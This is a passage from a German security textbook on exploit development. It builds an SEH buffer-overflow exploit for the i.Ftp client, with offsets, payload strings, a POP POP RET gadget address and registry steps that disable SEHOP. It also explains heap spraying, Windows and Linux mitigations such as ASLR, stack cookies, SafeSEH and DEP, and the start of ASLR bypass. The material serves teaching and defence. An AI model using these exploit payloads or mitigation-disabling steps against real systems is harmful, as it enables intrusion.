10.8 Buffer Offsets berechnen Sie können nun die Offsets der relevanten Felder im Input-Buffer mit den bisher verwendeten Tools pattern_create.rb und pattern_offset.rb ermitteln. Mit geübtem Auge sind sie allerdings auch schon direkt aus den oben gezeigten Analysen ablesbar: EIP Offset 260 SEH-NEXT Offset 600 SEH-HANDLER Offset 604
Passen Sie nun wieder das Exploit-Script an, um die Offsets zu überprüfen. NEXT = "BBBB"
HANDLER = "CCCC"
buf = "A" * 600 + NEXT + HANDLER + "D" * (1200 - 600 - 4 -4)
Abbildung 10.30 und Abbildung 10.31 zeigen Ihnen die korrekten Offsets. Sie sind nun in der Lage, die beiden SEH-Felder mit gezielten Werten zu belegen.
Abbildung 10.30 Überprüfung der Offsets
Abbildung 10.31 Das SEH-Objekt am Stack
10.9 SEH-Exploits Die Entwicklung eines SEH-Exploits ist etwas komplizierter als die einfache Ausnutzung eines klassischen EIP Overwrites. Sie benötigen die folgenden Schritte, um schlussendlich im eigenen Shellcode zu landen: 1. eine Exception 2. die Weiterleitung der Exception in das Programm 3. einen Weg, um in den Shellcode zu springen Der erste Schritt ist einfach: Das Überschreiben des Instruction Pointers am Offset 260 mit 0x41414141 löst eine Exception aus (Access Violation). Auch der zweite Schritt ist einfach: Im Programmablauf erfolgt das automatisch, im Debugger lösen Sie den Schritt mit (ª) + (F7)/(F8)/(F9) aus. Der dritte Schritt ist etwas aufwändiger, aber bei allen SEH-Exploits exakt gleich: 1. Überschreiben der SEH-HANDLER-Adresse mit der Adresse einer POP POP RET-Sequenz (warum gerade diese Sequenz, erklären wir in Kürze) 2. Setzen einer JMP +6
Bytes-Instruktion im SEH-NEXT-Feld
3. Platzieren des Shellcodes unmittelbar nach der SEH-Struktur Lassen Sie uns die Schritte einmal durchführen und danach analysieren, warum gerade diese Folge eine Ausführung des Shellcodes ermöglicht. Wir greifen hier den Methoden in Kapitel 12,
»Schutzmaßnahmen umgehen«, vor und werden diesen Exploit gleich in robuster Form, d. h. unabhängig von der jeweiligen Betriebssystemversion und ASLR schreiben. Nullbytes gehören beim i.Ftp-Client zu den Bad Characters, sie können damit auch im Adressfeld nicht verwendet werden. Um nun Nullbytes zu verhindern, suchen Sie direkt in der mit dem i.FtpClient ausgelieferten Bibliothek Lgi.dll nach einer POP POP RETSequenz. Die Basisadresse von Lgi.dll ist 0x10000000 und damit zumindest im ersten Byte nicht null. Dabei ist es auch nicht von Bedeutung, welche Register für die beiden POP-Anweisungen verwendet werden; es geht hier lediglich darum, zwei Einträge vom Stack zu entfernen. Für die Suche nach einer geeigneten Sequenz bedienen Sie sich eines weiteren Tools. Wechseln Sie dazu in das Verzeichnis /usr/share/metasploit-framework/vendor/bundle/ruby/2.5.0/bin, und führen Sie dort msfpescan mit der Option –p aus: $ ./msfpescan -p Lgi.dll
0x10029eb4 pop esi; pop ebx; 0x1002a04e pop esi; pop ebp; 0x1002a078 pop edi; pop esi; 0x1002a1c0 pop esi; pop ebp; 0x1002af5e pop esi; pop ebp;
ret
retn 0x0014
ret
ret
ret
msfpescan findet zahlreiche Kombinationen. Für das folgende
Beispiel verwenden Sie die Adresse 0x100a078. Die Adresse ist frei von Nullbytes und auch frei von den anderen Bad Characters des i.Ftp-Clients. Der Opcode für ein JMP +6 Bytes-Kommando lautet \xeb\x06, die beiden restlichen Bytes im 4 Bytes langen SEH-NEXT-Feld können mit zwei beliebigen Zeichen gefüllt werden. Achten Sie nur darauf, dass Sie keine Bad Characters verwenden. In diesem Beispiel verwenden
wir \x42\x42. Fügen Sie nun die beiden Werte in das Exploit-Script ein, und starten Sie den Debugger. NEXT = "\xeb\x06\x42\x42"
HANDLER = "\x78\xa0\x02\x10" #0x1002a078 pop edi; pop esi; ret
buf = "A" * 600 + NEXT + HANDLER + NOPS + "D" * (1200 - 600 -4 -4 -len(NOPS))
Der folgende Schritt kann auf Ihrem Windows-10-Testsystem notwendig sein. Mit SEHOP wurde ein wirksamer Schutzmechanismus gegen SEH-basierte Exploits geschaffen. SEHOP wurde ab Windows Server 2012 und Windows 10 per Default aktiviert. Um SEHOP gezielt auszuschalten, müssen Sie einen Registry-Eintrag ändern. Legen Sie im Schlüssel HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel den neuen Eintrag DisableExceptionChainValidation
an, und setzen Sie den Wert auf 1. Danach ist ein Neustart des Systems erforderlich.
Bei der Analyse von SEH-Exploits müssen Sie keinen Breakpoint setzen. Der Debugger stoppt die Ausführung automatisch, sobald eine Exception ausgelöst wurde. Die sollte kurze Zeit nach dem Start der Anwendung im Debugger in der bekannten Access Violation gelandet sein. Jetzt benötigen Sie einen Breakpoint zu Beginn der POP POP RET-Sequenz. Der einfachste Weg dafür ist über die Ansicht der SEH-Chain durch Drücken von (Alt) + (S); klicken Sie auf das SEH-HANDLER-Feld, und setzen Sie mit (F2) einen Breakpoint. Die Programmausführung wird mit (ª) + (F7)/(F8)/(F9) fortgesetzt. Sie sollten nun den Breakpoint am ersten Kommando der POP POP RET-Sequenz erreicht haben. Abbildung 10.32 zeigt Ihnen die nachfolgenden Schritte, bis die Programmausführung beim JMP + 6 Bytes-Kommando angelangt ist. Links oben sehen Sie die POP POP RET-Sequenz. Rechts oben ist der zugehörige Stack-Ausschnitt dargestellt. Die beiden POP-
Kommandos entfernen die beiden obersten Elemente am Stack. Vor der Ausführung des RET-Kommandos an der Adresse 0x1002a07a zeigt der Stack Pointer an die Adresse 0x0018f648, das Stack-Element enthält den Wert 0x0018fd28.
Abbildung 10.32 Ausführung der POP POP RET-Sequenz
Die Funktionsweise eines Return-Kommandos kann wie folgt beschrieben werden: Setze die Ausführung des Programms an der Stelle fort, deren Adresse am Stack an der Stelle gespeichert ist, an die ESP zeigt. In unserem Beispiel bedeutet das: Springe an die Adresse 0x0018fd28, und führe dort das Programm fort. Abbildung 10.33 zeigt Ihnen die nächsten Schritte. An der Adresse 0x0018fd28 ist das JMP +6 Bytes-Kommando abgelegt. Mit einem Sprung von 6 Bytes werden einerseits die beiden Füllbytes an den Adressen 0x0018fd2a und 0x0018fd2b und andererseits die 4 Bytes der SEH-Handler-Adresse übersprungen. Damit landet die Programmausführung im ersten NOP des Shellcodes an der Adresse 0x0018fd30.
Abbildung 10.33 Sprung in den Shellcode
Die Vorgänge hier sind etwas schwierig nachzuvollziehen. Nehmen Sie sich Zeit, und spielen Sie den Ablauf Schritt für Schritt durch. Im letzten Schritt müssen Sie nur noch den finalen Shellcode aus Listing 10.10 einfügen. NEXT = "\xeb\x06\x42\x42"
HANDLER = "\x78\xa0\x02\x10" #0x1002a078 pop edi; pop esi; ret
buf = "A" * 600
+ NEXT
+ HANDLER
+ NOPS
+ CALC + "D" * (1200 - 600 -4 -4 - len(NOPS) - len(CALC))
Listing 10.10 Der finale SEH-Exploit-Code
Gratuliere, Sie haben erfolgreich einen SEH-Exploit entwickelt. Der Exploit ist robust implementiert und läuft auf WindowsBetriebssystemen von Windows XP bis Windows 10. Abbildung 10.34 zeigt Ihnen den gesamten Ablauf eines SEHExploits.
Abbildung 10.34 Gesamtablauf eines SEH-Exploits
Beginnend mit einer Exception wird der Exception Handler angesprungen. Die Adresse wurde mit der Adresse einer POP POP RET-Sequenz überschrieben. Aufgrund der vom Exception Dispatcher am Stack abgelegten Daten liegt am dritten Stack-Element die
Adresse der Speicherstelle, in der ein Zeiger auf das nächste SEHObjekt gespeichert ist (NEXT). Die POP POP RET-Kombination entfernt die beiden oberen Elemente, und das RET-Kommando leitet die Programmausführung auf das JMP +6 Bytes-Kommando um. Mit 6 Bytes werden zwei Füllbytes und die Speicherstelle der HandlerAdresse übersprungen, worauf die Programmausführung mit dem ersten NOP-Kommando im Bereich des Shellcodes fortgesetzt wird. Sie finden den finalen SEH-Exploit-Code in der Datei 2_i.Ftp_SEH.py, die Teil der Materialien zum Buch ist.
10.10 Heap Spraying Alle bisherigen Betrachtungen haben Stack-basierte Overflows behandelt. Wir möchten Ihnen in diesem Abschnitt als Ergänzung eine weitere Methode vorstellen, um Shellcode in eine Anwendung zu transferieren. Heap Spraying ist keine Exploit-Methode; es dient lediglich dazu, den Shellcode an eine vorhersehbare Adresse zu laden. Der Heap ist wie der Stack eine Datenstruktur, in der dynamisch Daten gespeichert werden. Der Stack hat allerdings die Einschränkung, dass Daten nur nach dem LIFO-Prinzip (Last In First Out) wieder aus der Struktur abrufbar sind. Stack-Operationen mit PUSH und POP sind sehr schnelle Zugriffe. Der Heap ist anders organisiert. Sie können dort Daten in beliebiger Reihenfolge speichern und wieder abrufen. Typische Funktionen für die Allokation von Speicher und die Freigabe von nicht mehr benutztem Speicher sind zum Beispiel in der Programmiersprache C malloc(), realloc() und free(). Aufgrund der Eigenschaft, dass Speicherbereiche allokiert und auch wieder zur Laufzeit zurückgegeben werden, muss der Heap verwaltet werden. Eine Aufgabe des Heap-Managements ist der Umgang mit der fortschreitenden Fragmentierung des Speichers, je länger eine Anwendung läuft. Heap Spraying wurde/wird oft im Zusammenhang mit Exploits für Webbrowser verwendet, da eine Webseite durch Manipulation von JavaScript-Code den Spraying-Vorgang einleiten kann. Die zugrunde liegende Idee ist es, einen großen Bereich am Heap mit wiederkehrenden Sequenzen von sehr großen NOP-Blöcken (z. B. 99,99%), gefolgt von einem kleinen Bereich mit dem Shellcode
(z. B. 0,01%), zu füllen (Spraying). Damit ist die Wahrscheinlichkeit groß, bei einem beliebigen Sprung in den Speicherbereich einen NOP-Bereich zu treffen. Der NOP-Block wird durchlaufen, bis der am Ende liegende Shellcode erreicht wird. Damit kann der Exploit-Code eine relativ ungenaue Sprungadresse benutzen. Wir möchten Ihnen im Folgenden den ersten Teil eines Exploits vorstellen, dessen Aufgabe es ist, den Shellcode an einer erreichbaren Adresse im Speicher (dieses Mal am Heap) abzulegen. Den zweiten Teil des Exploits, die Ausnutzung einer Sicherheitslücke bis zum Sprung in den Bereich des Shellcodes, behandeln wir hier nicht extra. Das folgende JavaScript-Fragment zeigt Ihnen die Befüllung eines großen Speicherbereichs mit 100 Instanzen einer Sequenz von 2 Millionen NOPs (NOP-Sled oder Landezone), gefolgt vom eigentlichen Shellcode. In diesem Beispiel besteht der Shellcode aus dem String EXPLOIT!. Als Zielanwendung verwenden wir eine alte Version des Internet Explorers (IE 6). Moderne Browser haben zahlreiche Sicherheitsmechanismen implementiert, um Heap Spraying zu verhindern (siehe Kapitel 11, »Schutzmaßnahmen einsetzen«). Für die Erklärung der Methode eignet sich besser eine Version, die noch keinen entsprechenden Schutz bietet.
Listing 10.11 JavaScript-Code, um den Heap zu »sprayen«
Der JavaScript-Code startet zu Beginn eine Alert Box (»Attach Debugger«) (siehe Abbildung 10.35). Das ist ein praktisches Hilfsmittel, das Ihnen erlaubt, den Debugger an den InternetExplorer-Prozess anzuhängen.
Abbildung 10.35 Pause, um den Debugger an den Internet-Explorer-Prozess zu hängen
Setzen Sie dann die Ausführung des Browsers im Debugger fort. Der vorliegende Code ist noch nicht auf Geschwindigkeit optimiert. Der Spraying-Vorhang wird hier einige Minuten dauern. Während des Sprayings springt die CPU-Auslastung auf 100% (siehe Abbildung 10.36).
Abbildung 10.36 Maximale CPU-Auslastung während des Sprayings
Nach einigen Minuten ist der Vorgang abgeschlossen, und die zweite Alert Box (»Shellcode prepared«) (siehe Abbildung 10.37) erscheint. Dann ist der Spraying-Vorgang abgeschlossen.
Abbildung 10.37 Der Heap-Spraying-Vorgang ist abgeschlossen.
Eine kleine, aber wirksame Optimierung des Codes ist die Anpassung der folgenden Programmsequenz: for(i=0;i /proc/sys/kernel/randomize_va_space
11.2 Stack Cookies Ein weiterer Schutzmechanismus zur Verhinderung der einfachen Buffer Overflows sind Stack Cookies oder Stack Canaries (Kanarienvögel). Der Begriff stammt aus der Welt des Bergbaus; dort wurden Kanarienvögel in Minen zur Erkennung von Kohlenmonoxid eingesetzt. Kohlenmonoxid ist ein geruchloses, unsichtbares Gas, das rasch zum Tod führen kann. Wurde ein Vogel im Käfig im Bergwerk bewusstlos, so galt das als Alarmsignal, und die Bergleute mussten die Mine verlassen bzw. Atemschutzmaßnahmen treffen. Ein ähnliches Konzept dient der Erkennung von Buffer Overflows am Stack. Ein Stack Canary ist allerdings kein Vogel, sondern ein Datenfeld, das am Stack zwischen den lokalen Variablen und der gespeicherten Rücksprungadresse platziert ist. Bevor der Rücksprung an die aufrufende Funktion erfolgt, überprüft das System, ob der Canary noch am Leben, d. h. unverändert ist oder ob ein Buffer Overflow das Cookie zerstört hat. Der Schutz funktioniert allerdings nur, wenn der Canary geheim ist und durch den normalen Programmablauf nicht ermittelbar ist. Sonst könnte der Angreifer den korrekten Wert des Canaries wiederherstellen und somit den Schutz umgehen. Sie sehen in Abbildung 11.5 ein Stack-Layout ohne Canary-Schutz links im Bild und rechts den erweiterten Schutz.
Abbildung 11.5 Platzierung eines Canaries am Stack
Sie können den Einsatz von Stack Canaries in C++ unter Visual Studio mit Hilfe der Compiler-Option /GS aktivieren. Die Option ist bereits seit 2015 (https://docs.microsoft.com/enus/cpp/build/reference/gs-buffer-security-check?view=vs-2015) standardmäßig gesetzt. Um die Performance-Auswirkung der zusätzlichen Überprüfung des Cookies so klein wie möglich zu halten, fügt der Compiler das Stack Cookie nur bei Funktionen hinzu, die lokale String-Buffer beinhalten. Ein Buffer Overflow kann auch lokale Variablen überschreiben, sofern diese an höheren Adressen liegen als der durch den Buffer Overflow betroffene Speicherbereich. Die /GS-Option führt dazu eine Umsortierung der lokalen Variablen durch: String-Buffer liegen an höheren Adressen als die restlichen Variablen, ein Überschreiben lokaler Variablen ist damit nicht mehr möglich.
Unter Linux sind Stack Cookies per Default aktiviert, Sie können sie aber explizit mit einer Compiler-Option ausschalten: gcc program.c -f no-stack-protector
11.3 SafeSEH Sie sehen in Abbildung 11.6 eine gültige Abfolge von ExceptionHandler-Objekten. Jedes Objekt besteht aus zwei Elementen: Das NEXT-Feld enthält einen Zeiger auf das nächste Element der Kette, das HANDLER-Feld zeigt auf den Exception-Handler-Code. Am Ende der Kette befindet sich der Default Exception Handler des Betriebssystems.
Abbildung 11.6 Eine valide SEH-Chain
In einem typischen SEH-Exploit überschreibt der Angreifer das HANDLER-Feld mit der Adresse einer POP POP RET-Anweisung und das NEXT-Element mit dem Opcode eines JMP +6 BytesKommandos. In einer durch den Exploit-Code veränderten SEHChain ist das nächste Element nicht mehr über die Verlinkung erreichbar, da die Kette zerstört wurde. Abbildung 11.7 zeigt diese Situation, wenn das NEXT-Feld mit dem Wert 0x41414141 überschrieben wurde.
Abbildung 11.7 Die SEH-Chain wird unterbrochen.
Sie können SafeSEH über die Linker-Option /SAFESEH aktivieren. Damit erhält das Programm zusätzlich eine Liste von gültigen Exception-Handler-Adressen und kann vor dem Aufruf des Handlers dessen Gültigkeit überprüfen. SafeSEH wurde bei Microsoft mit Visual Studio 2003 veröffentlicht und speichert die gültigen Exception-Handler-Adressen je Modul in einem Read-onlySpeicherbereich ab. SafeSEH ist allerdings nur dann ein effektiver Schutz, wenn alle Module eines Programms mit dieser Option gelinkt wurden. Ähnlich dem Bypass von ASLR können SafeSEHfreie Module zu einer Umgehung des Schutzes missbraucht werden.
11.4 SEHOP Die Structured Exception Handling Overwrite Protection (SEHOP) schützt sehr effektiv vor der Klasse der SEH-Exploits. SEHOP wurde mit Windows Vista eingeführt und kann dort bei Bedarf aktiviert werden. Neuere Windows-Server-Versionen haben SEHOP per Default aktiviert. Die Manipulation der SEH-Chain in Abbildung 11.7 ist auch leicht durch die folgende Methode erkennbar. Ähnlich den Stack Cookies zur Erkennung von Buffer Overflows platziert SEHOP einen speziellen Wert als letztes Element in der SEH-Chain. Die Kette ist dann noch intakt, wenn jederzeit das letzte Element über die Abfolge der Kettenelemente erreichbar ist und der Handler des letzten Elements der Default Exception Handler des Betriebssystems ist. Ist das Element nicht auffindbar, so wurde die Kette manipuliert. Der Schutz ist allerdings nur dann wirksam, wenn das Prüfelement nicht auslesbar oder berechenbar ist. SEHOP ist ein Mechanismus, der die Gültigkeit der SEH-Chain zur Laufzeit des Programms überprüft. Er benötigt keine Neugenerierung von Anwendungen und ist einfach mit dem folgenden Registry-Eintrag aktivierbar. HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\kernel\DisableExceptionChainValidation
SEHOP wird aktiviert, wenn der Registry Key den Wert 0 besitzt.
11.5 Data Execution Prevention Data Execution Prevention (DEP) ist ein weiterer, sehr wirksamer Schutz gegen Software-Exploits. Mit Stack Canaries wird versucht, den initialen Buffer Overflow zu verhindern, ASLR erschwert die Nutzung konstanter Sprungadressen, und DEP versucht nun, die Ausführung von Shellcode einzuschränken. Klassische Stack- oder Heap-basierte Exploits legen den auszuführenden Shellcode in diesen Speicherbereichen ab, springen dann an den Beginn des Shellcodes und führen den Code aus. DEP ist in Windows seit der Version Windows XP SP3 verfügbar, sofern der benutzte Prozessor die Möglichkeit mittels des NX-Bits (No Execute) anbietet. Linux unterstützt DEP ab der Kernel-Version 2.6.8. Die Idee hinter DEP ist die Verhinderung der Ausführung von Code auf Stack und Heap. Diese Speicherbereiche werden normalerweise auch nur zur Speicherung von Daten und Adressen verwendet. Exploits hingegen nutzen die Bereiche, um den dort liegenden Shellcode auszuführen. Unter Windows 10 ist DEP zwar vorhanden, aber per Default nicht aktiv. Die aktuellen Windows-Server-Versionen haben DEP standardmäßig aktiviert. Sie können die Funktionalität entweder mit dem bcdedit-Kommando einschalten oder über das SystemMenü unter dem Punkt Datenausführungsverhinderung aktivieren. Sie sehen die beiden Konfigurationsmöglichkeiten in Abbildung 11.8 und Abbildung 11.9.
Abbildung 11.8 Aktivierung von DEP unter Windows 10
Folgende DEP-Parameter sind möglich: AlwaysOn: Aktiviert DEP für alle Betriebssystem- und Benutzerprozesse; DEP kann für einzelne Prozesse nicht deaktiviert werden. OptOut: Aktiviert DEP für alle Betriebssystem- und Benutzerprozesse; der Administrator kann DEP für einzelne Programme deaktivieren. OptIn: Aktiviert DEP nur für Betriebssystemprozesse; der Administrator kann DEP für einzelne Programme aktivieren. AlwaysOff: Deaktiviert DEP; eine Aktivierung für einzelne Programme ist nachträglich nicht möglich.
Abbildung 11.9 Aktivierung von DEP im Menü
Unter Linux ist sowohl ASLR als auch DEP per Default aktiviert. Sie können die Funktionalität aber explizit mit einer Compiler-Option ausschalten. gcc program.c -z executestack
Sie sehen in Abbildung 11.10 einen Ausschnitt des StackSpeicherbereichs und damit die ersten Schritte der Ausführung des »Shellcodes« in einem Windows-System ohne aktivierten DEPSchutz. (Der Shellcode besteht zu Testzwecken in diesem Fall nur aus 0x43 = INC EBX-Kommandos.)
Abbildung 11.10 Ausführung des Shellcodes vor Aktivierung von DEP
In Abbildung 11.11 wurde der exakt gleiche Exploit noch einmal ausgeführt, allerdings mit aktivierter DEP. Der Sprung an das erste Byte des Shellcodes wurde noch erfolgreich durchgeführt. Das zuvor verwendete JMP ESP-Kommando ist durch DEP ja nicht beeinflusst, da die Adresse des Kommandos im Codebereich des Programms liegt und dort die Ausführung von Kommandos naturgemäß erlaubt ist. Der Shellcode liegt allerdings am Stack; der Versuch, das erste INC EBX-Kommando mit einem Single Step auszuführen, schlägt mit einer Zugriffsverletzung fehl.
Abbildung 11.11 DEP verhindert die Codeausführung.
Damit hat DEP erfolgreich die Ausführung des Shellcodes verhindert. Mit Return Oriented Programming (ROP) existiert eine Methode, um den Zugriffsschutz allerdings in speziellen Fällen wieder zu umgehen. ROP ist eine sehr anspruchsvolle Programmiermethode. Sie finden eine durchgängig implementierte ROP-Chain zur Deaktivierung von DEP im vorgestellten Windows-i.Ftp-Exploit in Kapitel 12, »Schutzmaßnahmen umgehen«, und eine weitere Form der Umgehung des Schutzes im Beispiel des Linux Format String Exploits in Kapitel 13.
11.6 Schutz gegen Heap Spraying Gegen Heap Spraying wurden in modernen Webbrowsern in den letzten Jahren zahlreiche Schutzmechanismen implementiert. Deshalb wird die Nutzung von Heap Spraying auch immer komplizierter. Heap Spraying platziert Shellcode über weite Bereiche des Heaps hinweg. Dabei wird ein und derselbe Shellcode, eingeleitet von einem großen NOP-Sled, immer wieder aneinandergereiht gespeichert. Sie sehen links in Abbildung 11.12 einen Block bestehend aus zahlreichen NOPs, gefolgt vom eigentlichen Shellcode. Rechts im Bild sehen Sie die Aneinanderreihung von vielen dieser Blöcke. Aufgrund des Verhältnisses zwischen NOPs und Shellcode (z. B. 99 zu 1) ist die Wahrscheinlichkeit groß, mit einem Sprung an eine beliebige Adresse im Speicher in einem NOP-Sled zu landen. Das Programm durchläuft den NOP-Bereich, bis schlussendlich der Shellcode am Ende erreicht wird. Damit können unsichere Sprungadressen trotzdem zur Ausführung von Shellcode führen.
Abbildung 11.12 Der Heap, gefüllt mit multiplen NOP-Sled/Shellcode-Blöcken
Aus Exploit-Sicht sind auch zyklische Adressen wie zum Beispiel 0x05050505 oder 0x06060606 sehr praktisch, da diese bei der unsicheren Position (Offset) einer Sprungadresse trotzdem zu einem gültigen Sprungziel führen. Abbildung 11.13 zeigt den Ausschnitt eines Input-Buffers, der einen Buffer Overflow auslöst. Der gesamte Bereich ist mit einer Folge von 0x05 gefüllt. Unabhängig vom konkreten Offset innerhalb des Buffers führt jede Position zur exakt gleichen Sprungadresse 0x05050505. Der zugehörige Shellcode muss nur zuvor an genau dieser Adresse platziert werden bzw. über ein NOP-Sled erreichbar sein.
Abbildung 11.13 Zyklische Adressen am Heap
Die implementierten Schutzmaßnahmen zielen nun konkret auf diese Methoden ab und haben auch kreative Namen erhalten. Mit Nozzle erfolgt die Erkennung von Programmcode am Heap. Der Heap sollte analog zum Stack nur Daten beinhalten. Codefragmente sind untypisch und weisen auf eine auf Heap Spraying basierende Attacke hin. Bubble hingegen versucht, die Befüllung von Speicherbereichen mit wiederkehrenden, ähnlichen Inhalten zu erkennen. Die typische Struktur mit einem langen NOP-Sled, gefolgt von einem kurzen Bereich mit Code, kann damit detektiert werden. Das Enhanced Mitigation Experience Toolkit (EMET) von Microsoft kann zusätzlich zu Firewalls und Antivirensystemen zum Schutz vor Schadprogrammen installiert werden. EMET führt eine sogenannte Pre-Allocation von zyklischen Adressen wie 0x05050505, 0x0a0a0a0a usw. durch. Damit sind diese Adressen für Heap Spraying nicht mehr erreichbar und verhindern diese Form der Nutzung. Eine weitere Schutzmethode ist die Erkennung von großen Bereichen, die mit NOPs gefüllt sind (NOP-Landezonen). Der Schutz funktioniert allerdings nur, wenn auch die zahlreichen Alternativen von neutralen NOP-Kommandos wie zum Beispiel INC EBX ADD EBX,0 SUB EBX,0
usw. Berücksichtigung finden. Heap Spraying funktioniert nur, weil der Exploit-Code große Mengen an Speicher am Heap anfordert. Die Beschränkung des
anforderbaren Speichers eines Programms ist eine weitere Methode, um die Form des Angriffs zu erschweren. Zu guter Letzt verhindert Data Execution Prevention (DEP) die Ausführung von Programmcode am Heap.
12 Schutzmaßnahmen umgehen Im Anschluss an Kapitel 11 zeigen wir Ihnen nun, wie ASLR, DEP und andere Mitigations umgangen werden, damit Sie zuverlässige und stabile Exploits erstellen können. Viele der vorgestellten Schutzmaßnahmen sind eine Reaktion der Betriebssystementwickler auf aktiv ausgenutzte Sicherheitslücken. Oft sind die Umsetzungen der Maßnahmen jedoch unvollständig, fehlerhaft oder weisen konzeptionelle Schwachstellen auf. Die Seite der Angreifer schläft natürlich nicht und versucht ständig, Methoden zu entwickeln, um die Schutzmaßnahmen wieder zu umgehen. Wir werden Ihnen in diesem Kapitel einige der BypassMethoden von Schutzmaßnahmen unter Windows vorstellen. Dazu erweitern wir wieder den i.Ftp-Exploit um robuste Elemente. Die konkrete Umgehung von Schutzmaßnahmen für LinuxBetriebssysteme finden Sie in Kapitel 13, »Format String Exploits«. Dieses Kapitel ist sehr anspruchsvoll. Nehmen Sie sich genügend Zeit, um die einzelnen Schritte zu verstehen und auch praktisch nachzuvollziehen.
12.1 Was sind Reliable Exploits? Die Ausnutzung einer Schwachstelle in einem Programm kann in einer Laborumgebung schnell zur erfolgreichen Ausführung von Schadcode führen. Oft sind Exploits aber sehr stark von der Umgebung abhängig, in der sie ausgeführt werden. Darunter fällt beispielsweise die Verwendung von spezifischen Features
eingesetzter Bibliotheken, Betriebssystemversionen oder Patch Level, die Einstellung der Sprache am Zielsystem oder auch die Abhängigkeit vom konkreten Installationsverzeichnis der Software. Versuchen Sie einfach einmal, einen öffentlich zugänglichen Exploit von einer der zahlreichen Exploit-Plattformen, wie zum Beispiel der Exploit Database (http://www.exploit-db.com), in Ihrer Umgebung zum Laufen zu bringen. Oft sind kleinere Anpassungen durchzuführen, damit der Exploit-Code läuft. Bei robusten (reliable) Exploits liegt der Fokus auf der universellen Einsetzbarkeit auf den unterschiedlichsten Versionen und Umgebungen des Betriebssystems. So ist beispielsweise der in Kapitel 14, »Real Life Exploitation«, vorgestellte Exploit Eternal Blue auf den unterschiedlichsten Windows-Betriebssystemfamilien ohne große Anpassung lauffähig. Dementsprechend weitreichend sind die Auswirkungen, wenn ein derartiger Exploit-Code die Basis einer weltweiten Ransomware-Welle bildet. Konkret war Eternal Blue das Herzstück der Ransomware WannaCry, die 2017 ihr Unwesen trieb. Die Aushebelung der diversen Schutzmaßnahmen ist für die Entwicklung robuster Exploits eine wesentliche Aufgabenstellung. Wir werden im Folgenden einige Umgehungsmöglichkeiten der in Kapitel 11 beschriebenen Schutzmaßnahmen vorstellen.
12.2 Bypass von ASLR Die Address Space Layout Randomization ist ein sehr wirksamer Mechanismus zum Schutz gegen Exploits. ASLR gilt mittlerweile als Standard in allen gängigen Betriebssystemplattformen. ASLR randomisiert die Anordnung des ausführbaren Programms und der verwendeten Bibliotheken bei jedem Neustart des Systems bzw. bei jedem Programmstart. Alle Exploits, die auf dem Einsatz von statischen Adressen basieren, können damit verhindert werden. Sie sehen in Abbildung 12.1 die unterschiedliche Anordnung der Module nach einem Reboot-Vorgang bei voller Randomisierung aller Programmteile.
Abbildung 12.1 Randomisierung aller Module durch ASLR
12.2.1 Review des i.Ftp-Exploits
Lassen Sie uns vor der praktischen Implementierung eines ASLRBypass noch einmal die Eigenschaften und Einschränkungen des i.Ftp-Exploits aus Kapitel 10, »Buffer Overflows ausnutzen«, betrachten. Sie haben die Exploit-Struktur aus Listing 12.1 entwickelt: buf buf buf buf
= ""
+= "A" * 260 += "\xb7\xaf\x02\x75" += NOPS
#A-Block
#EIP = JMP ESP
# 16 NOPS
buf += SHELLCODE # Max 420 Bytes
buf += "C" * (700 -260 -4 -len(NOPS) - len(SHELLCODE))
Listing 12.1 Der reliable i.Ftp-Exploit-Code
Die Datei Schedule.xml wird beim Programmstart gelesen. Die Anwendung stürzt bei Befüllung des Time-Feldes mit einem 700 Bytes langen String ab. Es gibt zwei Bereiche im Input-Buffer, in denen der ausführbare Shellcode liegen kann: 260 Bytes im Block »A« 436 Bytes im Block »C« Sie konnten die folgenden Bad Characters identifizieren: 0x00 0x20 0x22
Der Stack Pointer ESP zeigt zum Zeitpunkt des Absturzes auf das erste Byte im »C«-Block. Der Instruction Pointer EIP wurde mit der Adresse eines JMP ESP-Kommandos aus der Bibliothek SHELL32.dll überschrieben. Die Adresse ändert sich aufgrund von ASLR bei jedem Reboot. Der Exploit würde auf einem Windows-XP-System stabil funktionieren. Windows XP hat noch kein ASLR implementiert, die Adresse des JMP ESP-Kommandos wäre nach jedem Reboot dieselbe. Der Exploit würde allerdings nicht auf allen Windows-XP-Systemen unverändert lauffähig sein, da die konkrete Adresse des JMP ESPKommandos in der Bibliothek SHELL32.dll für jedes Service Pack und für jede Sprache des Betriebssystems unterschiedlich ist. Das ist
auch der Grund, warum Sie im Metasploit Framework bei zahlreichen Exploits den Parameter TARGET setzen müssen. Listing 12.2 zeigt die Auswahl des Zielbetriebssystems eines Exploits im Metasploit Framework. Der einzige Unterschied zwischen den beiden Betriebssystemversionen Windows 2000 und Windows XP SP1 Englisch ist die konkrete Adresse des JMP ESP-Kommandos (Parameter Rets). Weitere Informationen zur Konfiguration von Exploits im Metasploit Framework finden Sie unter: https://www.offensivesecurity.com/metasploit-unleashed/exploit-targets/ 'Targets' =>
[
# Windows 2000 – TARGET = 0
[
'Windows 2000 English',
{
'Rets' => [ 0x773242e0 ],
},
],
# Windows XP - TARGET = 1
[
'Windows XP SP1 English',
{
'Rets' => [ 0x7449bf1a ],
},
],
],
'DefaultTarget' => 0))
Listing 12.2 Die Zielkonfiguration im Metasploit Framework
Um nun einen robusten Exploit zu schreiben, der auf verschiedenen Betriebssystemversionen von Windows XP über Windows 7 bis hin zu Windows 10 läuft, benötigen Sie eine stabile statische Adresse, die auf allen Plattformen identisch ist. Da Windows-2000- und Windows-XP-Systeme kaum mehr zu finden sind, werden Sie nun die Thematik wieder auf einem aktuellen Windows-10-System weiter betrachten.
12.2.2 Verwendung von ASLR-freien Modulen
Die erste Möglichkeit, ASLR zu umgehen, ist in Abbildung 12.2 dargestellt. Das ist ein häufig auftretendes Bild in WindowsUmgebungen. Alle Systembibliotheken (DLLs) sind randomisiert. Allerdings kommt es gelegentlich vor, dass die Anwendung selbst und die mit der Applikation mitgelieferten Bibliotheken ASLR nicht aktiviert haben.
Abbildung 12.2 Fehlende Randomisierung von einzelnen Modulen
Finden sich in den mitgelieferten Bibliotheken oder im Programm geeignete Sprungadressen, so ist ein ASLR-Bypass leicht möglich. Sie können die entsprechenden Module im Immunity Debugger mit dem installierten Mona-Plugin einfach ermitteln. Das Kommando !mona modules liefert die Liste der eingebundenen Module inklusive der aktivierten bzw. fehlenden Schutzmaßnahmen. ------------------------------------------------------------------------
Base | Rebase| SafeSEH | ASLR | NXCompat| OS Dll| Modulename
------------------------------------------------------------------------
0x75b40000 | True | True | True | False | True | profapi.dll
0x74650000 | True | True | True | False | True | msvcp_win.dll
